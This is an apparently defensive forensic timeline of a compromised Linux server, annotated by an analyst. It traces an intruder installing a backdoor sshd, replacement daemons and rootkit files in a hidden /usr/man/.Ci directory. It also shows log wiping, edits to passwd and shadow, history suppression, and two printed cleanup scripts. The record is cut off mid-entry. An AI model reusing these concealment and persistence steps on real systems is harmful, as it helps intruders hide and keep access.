-rw-r--r-- root root /t/usr/man/man5/ypserv.conf.5 12823 ..c -rw-r--r-- root root /t/usr/man/man8/in.telnetd.8 2112 ..c -rw-r--r-- root root /t/usr/man/man8/makedbm.8 2492 ..c -rw-r--r-- root root /t/usr/man/man8/mknetid.8 678 ..c -rw-r--r-- root root /t/usr/man/man8/pwupdate.8 592 ..c -rw-r--r-- root root /t/usr/man/man8/revnetgroup.8 6962 ..c -rw-r--r-- root root /t/usr/man/man8/rpc.yppasswdd.8 4004 ..c -rw-r--r-- root root /t/usr/man/man8/rpc.ypxfrd.8 12 mac lrwxrwxrwx root root /t/usr/man/man8/telnetd.8 -> in.telnetd.8 1593 ..c -rw-r--r-- root root /t/usr/man/man8/ypinit.8 25 ..c -rw-r--r-- root root /t/usr/man/man8/yppasswdd.8 2830 ..c -rw-r--r-- root root /t/usr/man/man8/yppush.8 4886 ..c -rw-r--r-- root root /t/usr/man/man8/ypserv.8 4320 ..c -rw-r--r-- root root /t/usr/man/man8/ypxfr.8 22 ..c -rw-r--r-- root root /t/usr/man/man8/ypxfrd.8 35628 ..c -rwxr-xr-x root root /t/usr/sbin/in.telnetd 18448 ..c -rwxr-xr-x root root /t/usr/sbin/rpc.yppasswdd 25212 ..c -rwxr-xr-x root root /t/usr/sbin/rpc.ypxfrd 14520 ..c -rwxr-xr-x root root /t/usr/sbin/yppush 40476 ..c -rwxr-xr-x root root /t/usr/sbin/ypserv 768 .a. -rw-r--r-- root root /t/var/log/wtmp 1024 m.c drwxr-xr-x root root /t/var/yp 13843 ..c -rw-r--r-- root root /t/var/yp/Makefile 471 ..c -rw-r--r-- root root /t/var/yp/securenets YP and screen are supposedly installed Nov 08 00 15:52:34 1052024 m.c -rwxr-xr-x root root /t/bin/bx bx is being modified Nov 08 00 15:53:06 1024 m.c drwxr-x--- root root /t/root 1024 .a. drwxr-xr-x root root /t/root/.ssh 3970 .a. -rw-r--r-- root root /t/usr/lib/libbsd-compat.a 15 .a. lrwxrwxrwx root root /t/usr/lib/libbsd.a -> libbsd-compat.a 23 .a. lrwxrwxrwx root root /t/usr/lib/libcrypt.so -> ../../lib/libcrypt.so.1 21 .a. lrwxrwxrwx root root /t/usr/lib/libnsl.so -> ../../lib/libnsl.so.1 22 .a. lrwxrwxrwx root root /t/usr/lib/libutil.so -> ../../lib/libutil.so.1 Nov 08 00 15:53:08 34816 .a. drwxr-xr-x root root /t/dev 12288 m.c -rw-rw-r-- root root /t/etc/psdevtab 1024 m.c drwxr-xr-x root root /t/root/.ssh 512 .a. -rw------- root root /t/root/.ssh/random_seed Nov 08 00 15:53:10 880 .a. -rw-r--r-- root root /t/etc/ssh_config 537 m.c -rw------- root root /t/etc/ssh_host_key 341 mac -rw-r--r-- root root /t/etc/ssh_host_key.pub 512 m.c -rw------- root root /t/root/.ssh/random_seed Nov 08 00 15:53:11 880 m.c -rw-r--r-- root root /t/etc/ssh_config 3 mac lrwxrwxrwx root root /t/usr/local/bin/slogin -> ssh 4 mac lrwxrwxrwx root root /t/usr/local/bin/ssh -> ssh1 11 mac lrwxrwxrwx root root /t/usr/local/bin/ssh-keygen -> ssh-keygen1 327262 mac -rwxr-xr-x root root /t/usr/local/bin/ssh-keygen1 604938 mac -rws--x--x root root /t/usr/local/bin/ssh1 Nov 08 00 15:53:12 21 mac lrwxrwxrwx root root /t/usr/local/bin/make-ssh-known-hosts -> make-ssh-known-hosts1 21228 mac -rwxr-xr-x root root /t/usr/local/bin/make-ssh-known-hosts1 4 mac lrwxrwxrwx root root /t/usr/local/bin/scp -> scp1 90424 mac -rwxr-xr-x root root /t/usr/local/bin/scp1 8 mac lrwxrwxrwx root root /t/usr/local/bin/ssh-add -> ssh-add1 337617 mac -rwxr-xr-x root root /t/usr/local/bin/ssh-add1 10 mac lrwxrwxrwx root root /t/usr/local/bin/ssh-agent -> ssh-agent1 343586 mac -rwxr-xr-x root root /t/usr/local/bin/ssh-agent1 5 m.c lrwxrwxrwx root root /t/usr/local/sbin/sshd -> sshd1 643674 m.c -rwxr-xr-x root root /t/usr/local/sbin/sshd1 ssh/sshd was installed. Nov 08 00 15:53:13 4 .a. lrwxrwxrwx root root /t/bin/awk -> gawk 148848 .a. -rwxr-xr-x root root /t/bin/gawk 148848 .a. -rwxr-xr-x root root /t/bin/gawk-3.0.4 20240 .a. -rwxr-xr-x root root /t/bin/ln 955 m.c -rwxr-xr-x root root /t/etc/rc.d/rc.local most probably start of sshd1 is added to rc.local 684 m.c -rw-r--r-- root root /t/etc/sshd_config 4096 m.c drwxr-xr-x root root /t/usr/local/man/man1 23 mac lrwxrwxrwx root root /t/usr/local/man/man1/make-ssh-known-hosts.1 -> make-ssh-known-hosts1.1 12272 mac -rw-r--r-- root root /t/usr/local/man/man1/make-ssh-known-hosts1.1 6 mac lrwxrwxrwx root root /t/usr/local/man/man1/scp.1 -> scp1.1 4892 mac -rw-r--r-- root root /t/usr/local/man/man1/scp1.1 5 mac lrwxrwxrwx root root /t/usr/local/man/man1/slogin.1 -> ssh.1 6 mac lrwxrwxrwx root root /t/usr/local/man/man1/slogin1.1 -> ssh1.1 10 mac lrwxrwxrwx root root /t/usr/local/man/man1/ssh-add.1 -> ssh-add1.1 4007 mac -rw-r--r-- root root /t/usr/local/man/man1/ssh-add1.1 12 mac lrwxrwxrwx root root /t/usr/local/man/man1/ssh-agent.1 -> ssh-agent1.1 6265 mac -rw-r--r-- root root /t/usr/local/man/man1/ssh-agent1.1 13 mac lrwxrwxrwx root root /t/usr/local/man/man1/ssh-keygen.1 -> ssh-keygen1.1 5824 mac -rw-r--r-- root root /t/usr/local/man/man1/ssh-keygen1.1 6 mac lrwxrwxrwx root root /t/usr/local/man/man1/ssh.1 -> ssh1.1 38572 mac -rw-r--r-- root root /t/usr/local/man/man1/ssh1.1 4096 m.c drwxr-xr-x root root /t/usr/local/man/man8 7 mac lrwxrwxrwx root root /t/usr/local/man/man8/sshd.8 -> sshd1.8 37023 mac -rw-r--r-- root root /t/usr/local/man/man8/sshd1.8 Nov 08 00 15:53:28 2048 .a. drwxr-xr-x root root /t/bin 3072 .a. drwxr-xr-x root root /t/etc 3072 .a. drwxr-xr-x root root /t/lib 1024 .a. drwxr-xr-x root root /t/opt 3072 .a. drwxr-xr-x root root /t/sbin 4096 .a. drwxr-xr-x root root /t/usr/X11R6/bin 16384 .a. drwxr-xr-x root root /t/usr/bin 12 .a. lrwxrwxrwx root root /t/usr/bin/X11 -> ../X11R6/bin 6864 .a. -rwxr-xr-x root root /t/usr/bin/whereis 4096 .a. drwxr-xr-x root root /t/usr/etc 4096 .a. drwxr-xr-x root root /t/usr/games 4096 .a. drwxr-xr-x root root /t/usr/include 8192 .a. drwxr-xr-x root root /t/usr/lib 4096 .a. drwxr-xr-x root root /t/usr/lib/emacs 4096 .a. drwxr-xr-x root root /t/usr/libexec 4096 .a. drwxr-xr-x root root /t/usr/local 4096 .a. drwxr-xr-x root root /t/usr/local/bin 4096 .a. drwxr-xr-x root root /t/usr/local/etc 4096 .a. drwxr-xr-x root root /t/usr/local/games 4096 .a. drwxr-xr-x root root /t/usr/local/lib 4096 .a. drwxr-xr-x root root /t/usr/local/sbin 4096 .a. drwxr-xr-x root root /t/usr/man 16384 .a. drwxr-xr-x root root /t/usr/man/man1 8192 .a. drwxr-xr-x root root /t/usr/man/man2 24576 .a. drwxr-xr-x root root /t/usr/man/man3 4096 .a. drwxr-xr-x root root /t/usr/man/man4 4096 .a. drwxr-xr-x root root /t/usr/man/man5 4096 .a. drwxr-xr-x root root /t/usr/man/man6 4096 .a. drwxr-xr-x root root /t/usr/man/man7 12288 .a. drwxr-xr-x root root /t/usr/man/man8 4096 .a. drwxr-xr-x root root /t/usr/man/man9 4096 .a. drwxr-xr-x root root /t/usr/man/manl 4096 .a. drwxr-xr-x root root /t/usr/man/mann 4096 .a. drwxr-xr-x root root /t/usr/sbin 4096 .a. drwxr-xr-x root root /t/usr/share 4096 .a. drwxr-xr-x root root /t/usr/src 12 .a. lrwxrwxrwx root root /t/usr/src/linux -> linux-2.2.14 4096 .a. drwxr-xr-x root root /t/usr/src/linux-2.2.14 4096 .a. drwxr-xr-x root root /t/usr/src/redhat Another indexing run? Nov 08 00 15:53:33 32816 .a. -rwxr-xr-x root root /t/bin/netstat 202709 .a. -rw-r--r-- root root /t/boot/System.map-2.2.14-5.0 537 .a. -rw------- root root /t/etc/ssh_host_key 512 .a. -rw------- root root /t/etc/ssh_random_seed 684 .a. -rw-r--r-- root root /t/etc/sshd_config 47008 .a. -rwxr-xr-x root root /t/lib/libutil-2.1.3.so 16 .a. lrwxrwxrwx root root /t/lib/libutil.so.1 -> libutil-2.1.3.so 5 .a. lrwxrwxrwx root root /t/usr/local/sbin/sshd -> sshd1 643674 .a. -rwxr-xr-x root root /t/usr/local/sbin/sshd1 5 mac -rw-r--r-- root root /t/var/run/sshd.pid sshd started Nov 08 00 15:53:40 484 ..c -rw------- root root /t/etc/ftpaccess 456 ..c -rw------- root root /t/etc/ftpconversions 39 ..c -rw------- root root /t/etc/ftpgroups 104 ..c -rw------- root root /t/etc/ftphosts 79 ..c -rw------- root root /t/etc/ftpusers 1024 m.c drwxr-xr-x root root /t/etc/logrotate.d 78 ..c -rw-r--r-- root root /t/etc/logrotate.d/ftpd 1024 m.c drwxr-xr-x root root /t/etc/pam.d 314 ..c -rw-r--r-- root root /t/etc/pam.d/ftp 16384 m.c drwxr-xr-x root root /t/usr/bin 8928 ..c -rwxr-xr-x bin bin /t/usr/bin/ftpcount 8928 ..c -rwxr-xr-x bin bin /t/usr/bin/ftpwho 4096 m.c drwxr-xr-x root root /t/usr/doc/wu-ftpd-2.6.0 112149 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/CHANGES 11382 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/CONTRIBUTORS 2580 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/ERRATA 4096 m.c drwxr-xr-x root root /t/usr/doc/wu-ftpd-2.6.0/HOWTO 28539 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/HOWTO/VIRTUAL.FTP.SUPPORT 18641 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/HOWTO/upload.configuration.HOWTO 3185 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/README 4396 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/TODO 4096 m.c drwxr-xr-x root root /t/usr/doc/wu-ftpd-2.6.0/examples 404 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/examples/ftpaccess 1866 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/examples/ftpaccess.heavy 538 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/examples/ftpconversions 137 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/examples/ftpconversions.solaris 37 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/examples/ftpgroups 190 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/examples/ftphosts 882 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/examples/ftpservers 83 ..c -rw-r--r-- root root /t/usr/doc/wu-ftpd-2.6.0/examples/ftpusers 16384 m.c drwxr-xr-x root root /t/usr/man/man1 701 ..c -rw-r--r-- root root /t/usr/man/man1/ftpcount.1.gz 702 ..c -rw-r--r-- root root /t/usr/man/man1/ftpwho.1.gz 14006 ..c -rw-r--r-- root root /t/usr/man/man5/ftpaccess.5.gz 857 ..c -rw-r--r-- root root /t/usr/man/man5/ftpconversions.5.gz 815 ..c -rw-r--r-- root root /t/usr/man/man5/ftphosts.5.gz 1635 ..c -rw-r--r-- root root /t/usr/man/man5/ftpservers.5.gz 1490 ..c -rw-r--r-- root root /t/usr/man/man5/xferlog.5.gz Nov 08 00 15:53:41 767016 .a. -rwx------ root root /t/bin/linuxconf 12 .a. lrwxrwxrwx root root /t/usr/lib/libgd.so.1 -> libgd.so.1.2 156353 .a. -rwxr-xr-x root root /t/usr/lib/libgd.so.1.2 5272 ..c -rw-r--r-- root root /t/usr/man/man8/ftpd.8.gz 846 ..c -rw-r--r-- root root /t/usr/man/man8/ftprestart.8.gz 1583 ..c -rw-r--r-- root root /t/usr/man/man8/ftpshut.8.gz 1350 ..c -rw-r--r-- root root /t/usr/man/man8/privatepw.8.gz 7792 ..c -rwxr-xr-x bin bin /t/usr/sbin/ckconfig 8112 ..c -rwxr-xr-x bin bin /t/usr/sbin/ftprestart 10800 ..c -rwxr-xr-x bin bin /t/usr/sbin/ftpshut 162608 ..c -rwxr-xr-x bin bin /t/usr/sbin/in.ftpd 7 .ac lrwxrwxrwx bin bin /t/usr/sbin/in.wuftpd -> in.ftpd 10448 ..c -rwxr-xr-x bin bin /t/usr/sbin/privatepw 7 .ac lrwxrwxrwx bin bin /t/usr/sbin/wu.ftpd -> in.ftpd 10438 ..c -rwxr-xr-x bin bin /t/usr/sbin/xferstats wuftpd installed Nov 08 00 15:53:43 314 .a. -rw------- root root /t/etc/conf.linuxconf 33 .a. -rw-r--r-- root root /t/etc/redhat-release 44269 .a. -rw-r--r-- root root /t/usr/lib/linuxconf/help.eng/linuxconf-msg-1.17r2.eng 1105 .a. -rw-r--r-- root root /t/usr/lib/linuxconf/help.eng/redhat-msg-1.17r2.eng 4096 .a. drwxr-xr-x root root /t/usr/lib/linuxconf/redhat 313 .a. -rw-r--r-- root root /t/usr/lib/linuxconf/redhat/linuxconf.paths 36 .a. -rw-r--r-- root root /t/usr/lib/linuxconf/redhat/mailconf.paths 39 .a. -rw-r--r-- root root /t/usr/lib/linuxconf/redhat/managerpm.paths 264822 .a. -rwxr-xr-x root root /t/usr/lib/linuxconf/redhat/redhat.so.1.17.2 45 .a. -rw-r--r-- root root /t/usr/lib/linuxconf/redhat/squid.paths Nov 08 00 15:53:47 886424 .a. -rwxr-xr-x root root /t/bin/rpm 17151 .a. -rw-r--r-- root root /t/usr/lib/rpm/macros 3683 .a. -rw-r--r-- root root /t/usr/lib/rpm/rpmpopt 7716 .a. -rw-r--r-- root root /t/usr/lib/rpm/rpmrc 16384 .a. -rw-r--r-- root root /t/var/lib/rpm/conflictsindex.rpm 16384 .a. -rw-r--r-- root root /t/var/lib/rpm/nameindex.rpm 49152 .a. -rw-r--r-- root root /t/var/lib/rpm/requiredby.rpm Nov 08 00 15:53:49 1024 m.c drwxr-xr-x root root /t/etc/rc.d/init.d 2257 .ac -rwxr-xr-x root root /t/etc/rc.d/init.d/nfs 1722 ..c -rwxr-xr-x root root /t/etc/rc.d/init.d/nfslock 1024 .a. drwxr-xr-x root root /t/etc/rc.d/rc0.d 1024 .a. drwxr-xr-x root root /t/etc/rc.d/rc1.d 1024 .a. drwxr-xr-x root root /t/etc/rc.d/rc2.d 1024 .a. drwxr-xr-x root root /t/etc/rc.d/rc4.d 1024 .a. drwxr-xr-x root root /t/etc/rc.d/rc5.d 1024 .a. drwxr-xr-x root root /t/etc/rc.d/rc6.d 3072 m.c drwxr-xr-x root root /t/sbin 2848 ..c -rwxr-xr-x root root /t/sbin/rpc.lockd 19888 ..c -rwxr-xr-x root root /t/sbin/rpc.statd 6960 ..c -rwxr-xr-x root root /t/sbin/rpcdebug 4096 m.c drwxr-xr-x root root /t/usr/doc 4096 m.c drwxr-xr-x root root /t/usr/doc/nfs-utils-0.1.9.1 2397 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/ChangeLog 563 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/INSTALL 1058 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/KNOWNBUGS 10337 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/NEW 2305 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/README 291 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/THANKS 4517 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/TODO 3882 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/index.html 3882 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/nfs.html 186037 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/nfs.ps 2626 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node1.html 3254 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node10.html 4615 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node11.html 3479 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node12.html 2432 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node13.html 6807 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node14.html 7418 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node15.html 8743 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node16.html 2064 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node17.html 2786 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node18.html 2165 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node19.html 2399 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node2.html 1989 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node20.html 2291 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node21.html 13506 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node22.html 13490 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node23.html 15226 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node24.html 2377 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node25.html 15230 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node26.html 2377 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node27.html 2903 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node3.html 3966 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node4.html 2623 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node5.html 4444 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node6.html 4157 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node7.html 3989 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node8.html 2756 ..c -rw-r--r-- root root /t/usr/doc/nfs-utils-0.1.9.1/node9.html 32197 .a. -rwxr-xr-x root root /t/usr/lib/gconv/ISO8859-1.so 33711 .a. -rw-r--r-- root root /t/usr/lib/gconv/gconv-modules 4096 m.c drwxr-xr-x root root /t/usr/man/man5 6244 ..c -rw-r--r-- root root /t/usr/man/man5/exports.5.gz 12288 m.c drwxr-xr-x root root /t/usr/man/man8 2224 ..c -rw-r--r-- root root /t/usr/man/man8/exportfs.8.gz 376 ..c -rw-r--r-- root root /t/usr/man/man8/lockd.8.gz 1246 ..c -rw-r--r-- root root /t/usr/man/man8/mountd.8.gz 702 ..c -rw-r--r-- root root /t/usr/man/man8/nfsd.8.gz 788 ..c -rw-r--r-- root root /t/usr/man/man8/nfsstat.8.gz 341 ..c -rw-r--r-- root root /t/usr/man/man8/nhfsgraph.8.gz 332 ..c -rw-r--r-- root root /t/usr/man/man8/nhfsnums.8.gz 235 ..c -rw-r--r-- root root /t/usr/man/man8/nhfsrun.8.gz 4030 ..c -rw-r--r-- root root /t/usr/man/man8/nhfsstone.8.gz 10 mac lrwxrwxrwx root root /t/usr/man/man8/rpc.lockd.8.gz -> lockd.8.gz 11 .ac lrwxrwxrwx root root /t/usr/man/man8/rpc.mountd.8.gz -> mountd.8.gz 9 .ac lrwxrwxrwx root root /t/usr/man/man8/rpc.nfsd.8.gz -> nfsd.8.gz 12 .ac lrwxrwxrwx root root /t/usr/man/man8/rpc.rquotad.8.gz -> rquotad.8.gz 10 .ac lrwxrwxrwx root root /t/usr/man/man8/rpc.statd.8.gz -> statd.8.gz 476 ..c -rw-r--r-- root root /t/usr/man/man8/rquotad.8.gz 805 ..c -rw-r--r-- root root /t/usr/man/man8/showmount.8.gz 718 ..c -rw-r--r-- root root /t/usr/man/man8/statd.8.gz 25232 ..c -rwxr-xr-x root root /t/usr/sbin/exportfs 6352 ..c -rwxr-xr-x root root /t/usr/sbin/nfsstat 18640 ..c -rwxr-xr-x root root /t/usr/sbin/nhfsstone 36784 ..c -rwxr-xr-x root root /t/usr/sbin/rpc.mountd 3368 ..c -rwxr-xr-x root root /t/usr/sbin/rpc.nfsd 9872 ..c -rwxr-xr-x root root /t/usr/sbin/rpc.rquotad 9104 ..c -rwxr-xr-x root root /t/usr/sbin/showmount 1024 m.c drwxr-xr-x root root /t/var/lib/nfs 0 ..c -rw-r--r-- root root /t/var/lib/nfs/etab 0 ..c -rw-r--r-- root root /t/var/lib/nfs/rmtab 0 ..c -rw-r--r-- root root /t/var/lib/nfs/xtab 16384 .a. -rw-r--r-- root root /t/var/lib/rpm/groupindex.rpm 49152 .a. -rw-r--r-- root root /t/var/lib/rpm/providesindex.rpm 16384 .a. -rw-r--r-- root root /t/var/lib/rpm/triggerindex.rpm Nov 08 00 15:53:50 7349 .a. -rwxr-xr-x root root /t/etc/rc.d/init.d/functions 952 .a. -rw-r--r-- root root /t/etc/sysconfig/init 63 .a. -rw-r--r-- root root /t/etc/sysconfig/network 2684 .a. -rwxr-xr-x root root /t/sbin/consoletype 2848 .a. -rwxr-xr-x root root /t/sbin/rpc.lockd 16384 m.c -rw-r--r-- root root /t/var/lib/rpm/conflictsindex.rpm 1343488 mac -rw-r--r-- root root /t/var/lib/rpm/fileindex.rpm 16384 m.c -rw-r--r-- root root /t/var/lib/rpm/groupindex.rpm 16384 m.c -rw-r--r-- root root /t/var/lib/rpm/nameindex.rpm 4173832 mac -rw-r--r-- root root /t/var/lib/rpm/packages.rpm 49152 m.c -rw-r--r-- root root /t/var/lib/rpm/providesindex.rpm 49152 m.c -rw-r--r-- root root /t/var/lib/rpm/requiredby.rpm 16384 m.c -rw-r--r-- root root /t/var/lib/rpm/triggerindex.rpm This looks like nfsutils being installed via rpm Nov 08 00 15:54:05 5756 .a. -rwxr-xr-x root root /t/bin/basename 7084 .a. -rwxr-xr-x root root /t/bin/nice 23120 .a. -rwxr-xr-x root root /t/bin/touch 562 .a. -rw-r--r-- root root /t/etc/initlog.conf 1722 .a. -rwxr-xr-x root root /t/etc/rc.d/init.d/nfslock 25716 .a. -rwxr-xr-x root root /t/sbin/initlog 8128 .a. -rwxr-xr-x root root /t/sbin/killall5 8 .a. lrwxrwxrwx root root /t/sbin/pidof -> killall5 19888 .a. -rwxr-xr-x root root /t/sbin/rpc.statd 1024 .a. drwx------ root root /t/var/lib/nfs/sm 1024 .a. drwx------ root root /t/var/lib/nfs/sm.bak 4 mac -rw------- root root /t/var/lib/nfs/state 0 mac -rw-r--r-- root root /t/var/lock/subsys/nfslock nfs lock and statd restarted Nov 08 00 15:54:10 43024 .a. -rwxr-xr-x root root /t/usr/bin/dir Nov 08 00 15:54:22 6416 mac -rwxr-xr-x root root /t/usr/local/bin/addr 271188 m.. -rwxr-xr-x root root /t/usr/local/bin/dig Nov 08 00 15:54:23 271188 ..c -rwxr-xr-x root root /t/usr/local/bin/dig 241744 mac -rwxr-xr-x root root /t/usr/local/bin/dnsquery 260816 mac -rwxr-xr-x root root /t/usr/local/bin/host 263960 .a. -rwxr-xr-x root root /t/usr/local/sbin/irpd Nov 08 00 15:54:24 38096 .a. -rwxr-xr-x root root /t/usr/bin/install 176464 .a. -rwxr-xr-x root root /t/usr/bin/strip 4096 m.c drwxr-xr-x root root /t/usr/local/bin 3296 mac -rwxr-xr-x root root /t/usr/local/bin/mkservdb 241792 mac -rwxr-xr-x root root /t/usr/local/bin/nsupdate 4096 m.c drwxr-xr-x root root /t/usr/local/sbin 263960 m.c -rwxr-xr-x root root /t/usr/local/sbin/irpd 525412 m.c -rwxr-xr-x root root /t/usr/local/sbin/named 7166 mac -rwxr-xr-x root root /t/usr/local/sbin/named-bootconf 36960 mac -rwxr-xr-x root root /t/usr/local/sbin/ndc Nov 08 00 15:54:25 33392 .a. -rwxr-xr-x root root /t/bin/cp 547 .a. -rw-r--r-- root root /t/etc/named.conf 525412 .a. -rwxr-xr-x root root /t/usr/local/sbin/named 4096 m.c drwxr-xr-x root root /t/usr/sbin 525412 mac -rwxr-xr-x root root /t/usr/sbin/named bind is being installed, irpd is for the Information Retrieval Protocol (IRP, similar to nscd on solaris) 35504 .a. -rwxr-xr-x root root /t/usr/sbin/ndc 2769 .a. -rw-r--r-- root root /t/var/named/named.ca 422 .a. -rw-r--r-- root root /t/var/named/named.local 1024 m.c drwxr-xr-x root root /t/var/run 5 mac -rw-r--r-- root root /t/var/run/named.pid and started 0 mac -rw------- root root /t/var/run/ndc Nov 08 00 15:54:28 271188 .a. -rwxr-xr-x root root /t/usr/local/bin/dig and tested with dig(?) Nov 08 00 15:55:30 4096 m.c drwxr-xr-x root root /t/usr/libexec/awk 78 .a. -rw-r--r-- root root /t/usr/libexec/awk/addy.awk awk is being modified Nov 08 00 15:55:47 12408 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/addn now the addn program runs... Nov 08 00 15:55:51 78 m.c -rw-r--r-- root root /t/usr/libexec/awk/addy.awk cat /t/usr/libexec/awk/addy.awk 1 65.1 2 65.1 1 134518464.134518444 2 134518464.134518444 1 216.149 2 216.149 [Q5] hmmm, maybe this modifies lists for the rootkit of what to hide... Nov 08 00 15:55:58 657 m.c -rw-r--r-- root root /t/etc/passwd 601 m.c -rw-r--r-- root root /t/etc/shadow 328 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/do /etc/passwd and shadow are being modified by the do script Nov 08 00 15:56:02 1024 m.c drwxr-xr-x root root /t/var/log 7974 mac -rw-r--r-- root root /t/var/log/messages 268 mac -rw-r--r-- root root /t/var/log/secure 0 mac -rw-r--r-- root root /t/var/log/xferlog Nov 08 00 15:56:04 3098 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/snap snap is being used for modification of logfiles Nov 08 00 15:56:08 4096 m.c drwxr-xr-x 1010 users /t/usr/man/.Ci Nov 08 00 15:56:11 188 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/rmS cat /t/usr/man/.Ci/rmS #!/bin/sh echo getting rid of shit we dont need anymore... rm -rf ssh* rm -rf install* rm wuftpd.rpm rm nfs-utils-0.1.9.1-1.i386.rpm sleep 1 echo .. sleep 1 echo ... sleep 1 echo finished Nov 08 00 15:56:25 527442 .a. -rwxr-xr-x root root /t/lib/libm-2.1.3.so 13 .a. lrwxrwxrwx root root /t/lib/libm.so.6 -> libm-2.1.3.so 1052024 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/bx again bx is being run, but this time not from /bin/ ... Nov 08 00 15:56:26 8 .a. lrwxrwxrwx root root /t/usr/bin/uncompress -> compress Nov 08 00 15:56:42 9 .a. lrwxrwxrwx root root /t/.bash_history -> /dev/null Nov 08 00 15:56:57 4096 .a. drwxr-xr-x 1010 users /t/usr/man/.Ci Nov 08 00 15:56:59 17968 ..c -rwx------ root root /t/bin/ping 5760 .a. -rwxr-xr-x root root /t/bin/sleep 45388 ..c -rwx------ root tty /t/sbin/dump 67788 ..c -rwx------ root tty /t/sbin/restore 33288 ..c -rwx------ root root /t/usr/bin/at 35168 ..c -rwx------ root root /t/usr/bin/chage 36756 ..c -rwx------ root root /t/usr/bin/gpasswd 5640 ..c -rwx------ root root /t/usr/bin/newgrp 531516 ..c -rwx------ root root /t/usr/bin/sperl5.00503 531516 ..c -rwx------ root root /t/usr/bin/suidperl 34751 ..c -rwx------ root root /t/usr/libexec/pt_chown 16488 ..c -rwx------ root bin /t/usr/sbin/traceroute 5896 ..c -rwx------ root root /t/usr/sbin/usernetctl Nov 08 00 15:57:00 699 .a. -rwxr-xr-x 1010 users /t/usr/man/.Ci/chmod-it remove traces by changing back permissions via the script chmod-it # cat chmod-it echo starting.. sleep 1 chmod 700 /usr/sbin/userhelper echo !: userhelper..done chmod 700 /usr/X11R6/bin/Xwrapper echo !: Xwrapper..done chmod 700 /bin/ping echo !: ping..done chmod 700 /usr/sbin/traceroute echo !: traceroute..done chmod 700 /usr/libexec/pt_chown echo !: pt_chown..done chmod 700 /sbin/dump echo !: dump..done chmod 700 /sbin/restore echo !: restore..done chmod 700 /usr/bin/gpasswd echo !: gpasswd..done chmod 700 /usr/bin/chage echo !: change..done chmod 700 /usr/bin/suidperl echo !: suidperl..done chmod 700 /usr/bin/newgrp echo !: newgrp..done chmod 700 /usr/sbin/usernetctl echo !: usernetctl..done chmod 700 /usr/bin/at echo !: at..done sleep 1 echo ..finished Nov 08 00 15:57:06 13696 .a. -rwxr-xr-x root root /t/bin/mkdir Nov 08 00 15:57:08 1024 .a. drwxrwxrwx root root /t/tmp Nov 08 00 15:58:19 11952 .a. -rwxr-xr-x root root /t/bin/chown Nov 08 00 15:58:26 14188 .a. -rwsr-xr-x root root /t/bin/su 331 .a. -rw-r--r-- root root /t/etc/pam.d/su 124 .a. -rw-r--r-- knut 500 /t/home/drosen/.bashrc an su to user drosen 17282 .a. -rwxr-xr-x root root /t/lib/security/pam_xauth.so Nov 08 00 15:58:28 46384 .a. -rwxr-xr-x root root 